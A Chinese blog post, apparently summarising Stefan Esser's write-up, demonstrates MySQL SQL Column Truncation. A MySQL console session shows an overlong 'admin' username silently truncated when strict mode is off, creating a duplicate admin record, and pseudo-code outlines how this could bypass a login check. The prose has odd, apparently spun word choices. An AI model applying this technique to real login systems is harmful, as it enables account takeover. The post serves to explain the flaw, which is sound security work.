By:刺
Stefan Esser今天写了篇很棒的文章,提到了关于MySQL里的两个缺点
www.suspekt.org/2008/08/18/mysqlandsqlcolumntruncationvulnerabilities
1. max_packet_size 的问题
2. SQL Column Truncation 攻击
我测试了第二个。
依照paper里描述的,当mysql的 sql_mode设置为default的时候,即不开启STRICT_ALL_TABLES选项时,MySQL对插入超长的值只会提醒 warning,而不是error假如是error就插入不成功,这样可能会导致一些截断问题。
这个问题属于mysql的一个功效,在官方文档中也有所描写,然后咱们最爱好的就是这些功能,不是吗·
测试进程如下(MySQL 5):
首先是开启了strict选项:
sqlmode"STRICT_TRANS_TABLES,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION"
成果如下:
mysql create table `truncated_test` (
`id` int(11) NOT NULL auto_increment,
`username` varchar(10) default NULL,
`password` varchar(10) default NULL,
PRIMARY KEY (`id`)
)DEFAULT CHARSETutf8;
Query OK, 0 rows affected (0.08 sec)
mysql select . from truncated_test;
Empty set (0.00 sec)
mysql show columns from truncated_test;
+++++++
' Field ' Type ' Null ' Key ' Default ' Extra '
+++++++
' id ' int(11) ' NO ' PRI ' NULL ' auto_increment '
' username ' varchar(10) ' YES ' ' NULL ' '
' password ' varchar(10) ' YES ' ' NULL ' '
+++++++
3 rows in set (0.00 sec)
mysql insert into truncated_test(`username`,`password`) values("admin","pass");
Query OK, 1 row affected (0.03 sec)
mysql select . from truncated_test;
++++
' id ' username ' password '
++++
' 1 ' admin ' pass '
++++
1 row in set (0.00 sec)
mysql insert into truncated_test(`username`,`password`) values("admin x",
"new_pass");
ERROR 1406 (22001): Data too long for column 'username' at row 1
mysql select . from truncated_test;
++++
' id ' username ' password '
++++
' 1 ' admin ' pass '
++++
1 row in set (0.00 sec)
而后是封闭了strict选项
sqlmode"NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION"
mysql select . from truncated_test;
++++
' id ' username ' password '
++++
' 1 ' admin ' pass '
++++
1 row in set (0.00 sec)
mysql insert into truncated_test(`username`,`password`) values("admin x",
"new_pass");
Query OK, 1 row affected, 1 warning (0.01 sec)
mysql select . from truncated_test;
++++
' id ' username ' password '
++++
' 1 ' admin ' pass '
' 2 ' admin ' new_pass '
++++
2 rows in set (0.00 sec)
mysql
可见插入胜利。呈现了两个admin的记载。
那么假想相似如下语句
userdata null;
if (isPasswordCorrect( username, password))
userdata getUserDataByLogin( username);
...
两次查问的先后问题,可能就会导致一次bypass破绽。
当然在实在环境里没这么简略,可能在运用层面上还会有一些长度检讨,往往会使这种攻打失败。但这种袭击能够实行的处所也不仅仅是登录处,还有更普遍的利用空间。